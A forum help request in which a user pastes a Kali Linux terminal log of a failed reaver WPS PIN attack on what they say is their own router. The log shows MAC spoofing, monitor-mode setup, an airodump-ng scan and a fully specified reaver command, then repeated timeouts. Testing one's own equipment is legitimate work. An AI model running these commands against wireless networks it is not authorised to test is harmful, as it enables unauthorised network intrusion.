I am not sure what I'm doing wrong but I can not get reaver to crack my WPS.
When I issue the command it times out, I'm sitting right next to the router with WPS enabled on channel 1 and the key is 12345670.
I am about 10ft away from the AP.

I think my terminal log will be most effective in explaining what's going on:

Code:
root@kali:~# ifconfig wlan0 down
root@kali:~# iwconfig wlan0 mode monitor
root@kali:~# macchanger -r wlan0
Current MAC:   XX:XX:XX:XX:XX:XX (TP-LINK TECHNOLOGIES CO.,LTD.)
Permanent MAC: XX:XX:XX:XX:XX:XX (TP-LINK TECHNOLOGIES CO.,LTD.)
New MAC:       86:38:61:XX:XX:XX (unknown)
root@kali:~# airmon-ng check kill
Killing these processes:

  PID Name
  752 dhclient
  947 wpa_supplicant

root@kali:~# ifconfig wlan0 up
root@kali:~# airmon-ng check kill

root@kali:~# airmon-ng start wlan0
No interfering processes found
PHY	Interface	Driver		Chipset

phy0	wlan0		ath9k_htc	Atheros Communications, Inc. AR9271 802.11n
		(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
		(mac80211 station mode vif disabled for [phy0]wlan0)


root@kali:~# airodump-ng --bssid 9XX:XX:XX:XX:XX:XX --wps -c 1 wlan0mon

 CH  1 ][ Elapsed: 18 s ][ 2015-10-21 11:11                                         
                                                                                                                        
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH WPS     ESSID
                                                                                                                        
 XX:XX:XX:XX:XX:XX  -45   0        6        3    0   1  54e  WPA2 CCMP   PSK  1.0     <length:  7>                      
                                                                                                                        
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                              
                                                                                                                        

root@kali:~# reaver -i wlan0mon -b XX:XX:XX:XX:XX:XX -vv -w -N -A -P -T 0.5 -x 360 -K 1

Reaver v1.5.2 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <[email protected]>
mod by t6_x <[email protected]> & DataHead & Soxrok2212

[+] Waiting for beacon from XX:XX:XX:XX:XX:XX
[+] Switching wlan0mon to channel 1
[+] Associated with XX:XX:XX:XX:XX:XX (ESSID: (null))
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[!] WARNING: 25 successive start failures
[+] Sending EAPOL START request
[+] Sending WSC NACK
[!] WPS transaction failed (code: 0x02), re-trying last pin
[+] Trying pin 12345670.
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
[!] WARNING: Receive timeout occurred
[+] Sending EAPOL START request
^C
[+] Nothing done, nothing to save.
root@kali:~#